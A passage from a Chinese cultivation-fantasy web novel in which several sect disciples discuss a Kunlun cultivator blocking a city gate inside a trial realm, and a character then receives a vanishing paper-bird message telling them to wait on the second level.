冷风随她入门动作飘进来,而后散去。她如画的眉头轻簇着,“那人守在城门口做什么?路都被堵死了。” “师妹,你回来啦。”几百年过去,李凤生面对自家师妹还是那副模样,一点身为长辈的自觉都没有,随手丢掉手中瓜子就向她伸手,“谁晓得昆仑这些家伙在想什么。东西你这么快就拿到了吗?不愧是我师妹。快给我看看。” 将手中玉佩递给李凤声,上面纹路精细,中间刻有“拾陆”的字样。而后傅慕琼坐下,越过雕花楼窗扫了一眼城门方向,平白道,“我看他倒像是在等人。” “等人?他哪有什么可等的人。”李凤生把玩着手中玉佩,“天道石持有者入境不需要印记,一二层也不需要组队。这么多年了,他除了在第三、四层把能找的福洞翻了个底朝天外,还干过什么。等人?等鬼吧。” 说着,向张天茂投去一个眼神,“没错吧?你名义上也算他师兄,你觉得呢?” 张天茂,“呵呵,这位姑娘请不要开这样的玩笑。不然我真的要带头冲锋了。” “冲锋什么?”傅慕琼不明所以,被李凤生拉住手,语重心长道,“没事,师妹,以后我们都离昆仑的人远点,免得疯病会传染。” 听完这句话,张天茂神思微微飘远了一瞬。 等人么…… 若陈时易此刻入境了,那表明赵行舟也一定入了境。 否则,就照陈时易入境前那个死了没人埋似的样子,张天茂不信有人拽得动他。 嗯……那还真是在等人。 数天前晋中鬼市,赵行舟消失的地方打开了秘境入口。之前从未听说秘境会主动开在空间领域中,想必是有额外的因素打开了这个入口。 赵行舟说他的秘密和秘境有关,他会出现在秘境中张天茂不意外。只是可惜入境前组队并未找到人,还以为对方是没来得及进入这试炼之地。 赵行舟如今身份敏感,在他主动示人前,张天茂也不好与昔日旧友多说什么,只能缄默。 思及至此,拢扇一顿,目光随市集喧嚷的人声向城外远望。 只是不知陈时易在等的人,现在在哪呢? -- 半日前,从幻境中走失,南仲君举目无从之际,收到一个歪歪扭扭飞来的纸鸟。 纸鸟展开,上面字迹潦草,纵任奔逸,不过四个一闪而过的字,焚烧似的,阅完即逝。 “二层等我。”